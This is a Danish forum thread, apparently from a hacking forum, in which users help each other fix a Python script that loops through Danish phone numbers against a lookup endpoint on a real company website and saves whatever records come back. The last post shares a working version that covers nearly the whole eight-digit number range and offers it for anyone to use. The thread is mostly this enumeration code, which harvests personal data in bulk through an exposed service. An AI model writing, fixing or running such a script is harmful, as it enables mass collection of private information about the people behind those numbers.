Hej.
Jeg har fundet det her python program på den her tråd
https://www.shellsec.pw/showthread.php?tid=1956
Kode:
import urllib2
url = "http://reklamation.fk.dk/fk_reklamation/DataServlet?do=tlflookup&lang=da&telefonnr={}"
start = 31209000
slut = 31209000+10000
file_name = "tlf.txt"
with open(file_name, "w") as f:
for x in range(start, slut):
r = urllib2.urlopen(url.format(x)).read()
if r:
f.write(r)
Da jeg bruger python 3.7 virker programmet ikke. Er der nogle der kan hjælpe mig med at få det til at virke?
Har selvfølgelig ændret urllib2 til urllib.request.
kan det tænkes at det ikke fungerer mere?
Jep det kunne det godt. Ville da bare lige spørge folk hvis det rent faktisk stadig virkede :)
Hvad mener du?
Det her?
urllib.request.urlopen(url.format(x)).read()
til
urllib.request.urlopen("http://reklamation.fk.dk/fk_reklamation/DataServlet?do=tlflookup&lang=da&telefonnr={}".format(x)).read()
Det virkede mange tak!
Nu har jeg bare et andet problem...
Det tager 1 min om at køre et telefonnummer igennem. Er det noget med mig eller?
Edit: Tror muligvis deres hjemmeside er nede i øjeblikket
(14-01-2019, 17:09)Mesteren Skrev: [ -> ]Hvad mener du?
Det her?
urllib.request.urlopen(url.format(x)).read()
til
urllib.request.urlopen("http://reklamation.fk.dk/fk_reklamation/DataServlet?do=tlflookup&lang=da&telefonnr={}".format(x)).read()
Det virkede mange tak!
Nu har jeg bare et andet problem...
Det tager 1 min om at køre et telefonnummer igennem. Er det noget med mig eller?
Edit: Tror muligvis deres hjemmeside er nede i øjeblikket
FK har altid været langsom, så ikke meget at gøre ved det.
Well har et problem nu... Den skriver ikke output ind i en txt fil.
Har lavet lidt om i koden.
Kode:
import urllib.request
url = "http://reklamation.fk.dk/fk_reklamation/DataServlet?do=tlflookup&firmanr=7&lang=da&telefonnr={}"
start = 31209000
slut = 31209000+10000
with open("roblox.txt", "wb") as f:
for x in range(start, slut):
rdkjashsadjkh = urllib.request.urlopen(url.format(x)).read()
if f:
print(rdkjashsadjkh)
f.write(rdkjashsadjkh)
Nogle der kan hjælpe?
(15-01-2019, 13:23)Mesteren Skrev: [ -> ]Well har et problem nu... Den skriver ikke output ind i en txt fil.
Har lavet lidt om i koden.
Kode:
import urllib.request
url = "http://reklamation.fk.dk/fk_reklamation/DataServlet?do=tlflookup&firmanr=7&lang=da&telefonnr={}"
start = 31209000
slut = 31209000+10000
with open("roblox.txt", "wb") as f:
for x in range(start, slut):
rdkjashsadjkh = urllib.request.urlopen(url.format(x)).read()
if f:
print(rdkjashsadjkh)
f.write(rdkjashsadjkh)
Nogle der kan hjælpe?
Fordi du har skrevet if f. Der skal stå if rdkjashsadjkh.
Haha ups den havde jeg sku ikk' lige set.
Problemet er bare at den stadig ikke virker. Den skriver intet ind i txt filen. Kan se at den får åbnet hjemmesiden og at den finder nogle rigtige numre.
Har fået det til at virke.
Her hvis i vil bruge det til noget
import requests
number = 20100000
url = "http://reklamation.fk.dk/fk_reklamation/DataServlet?do=tlflookup&firmanr=7&lang=da&telefonnr={}"
for x in range(number, 100000000):
try:
website = requests.get(url.format(number), timeout=0.8)
website = website.text
text_file = open("info.txt", "a")
text_file.write("\n%s\n" % number)
text_file.write(website)
text_file.close()
print(number, website)
number = number + 1
except requests.exceptions.Timeout as e:
print("Website timed out - ", number)
number = number + 1
.